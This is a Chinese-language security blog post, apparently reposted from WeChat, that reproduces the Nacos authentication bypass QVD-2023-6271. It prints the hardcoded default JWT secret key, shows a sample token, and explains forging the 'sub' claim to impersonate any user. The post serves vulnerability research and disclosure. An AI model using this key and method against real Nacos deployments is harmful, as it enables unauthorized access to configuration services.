听说这个漏洞关注度很高,21年的时候也是因为身份绕过的问题做过nacos的分析,不过那个时候更多的用户是配置问题(默认是无鉴权),关于nacos,我提一下我的看法,对于nacos的使用者来说,用这个就是为了方便,这个项目最开始都是无鉴权的,阿里对于权限问题的回复是,内部使用,不放到公网,不过后面用户越来越多,但做的也是弱鉴权,当然自定义验证是可以解决权限问题的,在我看来,这个项目本就是内网的核心产品,即便是在内网,网络的控制也必定是极其严格的,互联网上部署的nacos大部分都是demo产品使用,实际上并不具备多大危害(我也就一说,本人太菜了,师傅们联系指正~)
复现一下新洞
奇安信在昨天发了个复现文章
默认密钥
## The default token(Base64 String):
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
## 2.1.0 版本后
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
起个服务nacos 2.2.0
查询用户接口
jwt
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg4OTg0OX0.n40Q6E3BHEd51s6zF_6wKfnm3y3KrMO1UKV6OZIqrVk
可以看到使用的是jwt校验,显然sub代表用户名,直接伪造
重新构造的payload和实际发包的jwt值完全吻合,所以使用默认key更改sub即可伪造任意用户身份。
原文始发于微信公众号(蓝猫Sec):QVD-2023-6271--Nacos 身份认证绕过漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论